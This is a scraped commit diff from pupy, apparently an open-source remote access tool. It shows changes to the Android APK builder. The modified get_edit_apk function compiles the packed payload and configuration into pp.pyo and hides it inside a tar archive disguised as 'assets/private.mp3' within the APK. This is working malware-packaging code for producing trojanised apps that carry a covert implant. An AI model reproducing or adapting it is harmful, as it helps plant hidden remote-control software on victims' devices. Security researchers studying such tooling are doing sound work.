print "starting pupy ..."
|
||||
pp.main()
|
||||
print "pupy exit"
|
|
@ -0,0 +1,3 @@
|
|||
|
||||
# This file will be overriden when packaging with pupygen.py and serves only for compiling the apk template
|
||||
|
|
@ -1 +1 @@
|
|||
Subproject commit ab771592c3179b8bd0462678a0329dc90d304d30
|
||||
Subproject commit 8a0b3f54aa430623006b3aaec0dec1fe050dbffb
|
|
@ -28,7 +28,6 @@ import traceback
|
|||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import multiprocessing
|
||||
import StringIO
|
||||
import json
|
||||
import urllib2
|
||||
|
|
|
@ -109,7 +109,7 @@ def updateTar(arcpath, arcname, file_path):
|
|||
def get_edit_apk(path, new_path, conf):
|
||||
tempdir=tempfile.mkdtemp(prefix="tmp_pupy_")
|
||||
try:
|
||||
new_conf=get_raw_conf(conf)
|
||||
packed_payload=pack_py_payload(get_raw_conf(conf))
|
||||
shutil.copy(path, new_path)
|
||||
|
||||
#extracting the python-for-android install tar from the apk
|
||||
|
@ -117,12 +117,14 @@ def get_edit_apk(path, new_path, conf):
|
|||
zf.extract("assets/private.mp3", tempdir)
|
||||
zf.close()
|
||||
|
||||
with open(os.path.join(tempdir,"pp.conf"),'w') as w:
|
||||
w.write(new_conf)
|
||||
with open(os.path.join(tempdir,"pp.py"),'w') as w:
|
||||
w.write(packed_payload)
|
||||
import py_compile
|
||||
py_compile.compile(os.path.join(tempdir, "pp.py"), os.path.join(tempdir, "pp.pyo"))
|
||||
|
||||
print "[+] packaging the apk ... (can take 10-20 seconds)"
|
||||
#updating the tar with the new config
|
||||
updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.conf", os.path.join(tempdir,"pp.conf"))
|
||||
updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.pyo", os.path.join(tempdir,"pp.pyo"))
|
||||
#repacking the tar in the apk
|
||||
with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t:
|
||||
updateZip(new_path, "assets/private.mp3", t.read())
|
||||
|
|
Loading…
Reference in New Issue